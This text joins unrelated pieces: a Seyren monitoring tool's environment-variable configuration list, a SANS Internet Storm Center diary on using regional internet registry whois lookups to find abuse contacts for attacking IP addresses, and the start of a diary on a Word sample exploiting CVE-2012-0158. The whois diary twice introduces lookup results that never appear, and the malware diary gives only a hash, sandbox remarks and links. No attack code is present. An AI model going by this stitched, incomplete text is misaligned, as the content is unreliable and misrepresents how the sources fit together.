The first thing you will need to do is set you environment variables, making them persistent is a wise choice.

If you are just going to play with this the mongo install shouldn’t need any additional configuration after you install it, Seyren will play with it nicely with the defaults. Configure the SMTP stuff as suggested.

#### Base

* `GRAPHITE_URL` - The location of your graphite server. Default: `http://localhost:80`

* `GRAPHITE_USERNAME` - The Http Basic auth username for the graphite server. Default: ``

* `GRAPHITE_PASSWORD` - The Http Basic auth password for the graphite server. Default: ``

* `MONGO_URL` - The mongo connection string. Default: `mongodb://localhost:27017/seyren`

* `SEYREN_URL` - The location of your seyren instance. Default: `http://localhost:8080/seyren`

#### SMTP

* `SMTP_HOST` - The smtp server to send email notifications from. Default: `localhost`

* `SMTP_PORT` - The smtp server port. Default: `25`

* `SMTP_FROM` - The from email address for sending out notifications. Default: `alert@seyren`

* `SMTP_USERNAME` - The smtp server username if authenticated SMTP is used. Default: ``

* `SMTP_PASSWORD` - The smtp server password if authenticated SMTP is used. Default: ``

* `SMTP_PROTOCOL` - The smtp server protocol if authenticated SMTP is used. Default: `smtp`

We often see how attackers try to exploit our information assets in our company, coming from inside and outside the company. When you locate an internal IP address trying to affect things, it's easy to locate if you have information security controls like Network Access Control (NAC), Dynamic Host Configuration Protocol (DHCP), Firewalls and Network IPS. Problem is: what should we do if the offending ip address is outside in the Internet?

There are five Regional Internet Registry (RIR) entities in the world. For their region, they assign IP address for IPV4, IPV6 and  autonomous system numbers:

Source: IANA web site

• AfriNIC: Covers the Africa Region
• APNIC: Covers the Asia Pacific Region
• ARIN: Covers the North American Region
• LACNIC: Covers Latin America and some caribbean islands
• RIPE NCC: Covers Europa, the middle east and central asia

All RIR provides a tool called whois. This tool is able to tell you who is the owner of an IP address or a netblock. All contacts listed in RIR are required to provide an abuse contact. This contact is meant to provide point of contact for any required actions of stopping an attacker or to request evidence for a criminal investigation if you are a law enforcement agency.

Let's see an example. If we look for ip address 66.35.59.202, we can start using ARIN to look up for it. In the main ARIN website (http://www.arin.net), there is a text box after the "Search Whois" string. After entering 66.35.59.202, you obtain the following:

The Abuse contact  information is a URL following the contact ID pointing to the specific information needed to contact the SANS Institute regarding abuse from their IP address range.

Let's see another example. If we look for IP address 200.13.232.33, we find the following:

This information means that the IP address is not within the ARIN scope and the information must be looked up at the LACNIC RIR. After looking the information into the LACNIC whois, we obtain the following:

Using google to lookup information for owership of an specific ip address is definitely not a good idea, as it looks for the IP address string inside all webpages indexed. The information google will give you will provide a lot of false positives and will delay you in your incident response process execution and / or your criminal investigation.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Two weeks ago I posted a diary on a report published by Trend Micro on a spear-phishing emails campaign using malicious Word documents exploiting a Microsoft Office vulnerability (CVE-2012-0158).

We received a sample of a Word document exploiting CVE-2012-0158 which I took a look at. The file itself is pretty small (325Kb) and based on VirusTotal's MD5 hash report, 30/47 scan engines detected and confirmed it exploits CVE-2012-0158. I used the malwr sandbox to get a better look on how this Word document behaves while running on a Windows system. The one thing I noticed is Yara was positive to check if the file is running in a virtual machine.

[1] https://isc.sans.edu/diary/Safe+-++Tools%2C+Tactics+and+Techniques/15848
[2] https://www.virustotal.com/en/file/2cf2fbe92004b98b8dd5ff4631787dcf8241723020f1216b89a1a706addf9347/analysis/
[3] http://securityresponse.symantec.com/security_response/writeup.jsp?docid=2005-031911-0600-99&vid=17499
[4] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0158
[5] https://malwr.com/analysis/NmI3NjQ1MmI5ODhkNDliMmEwYTlmNjRkYTA0MzZkMzU/
[6] http://code.google.com/p/yara-project/

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu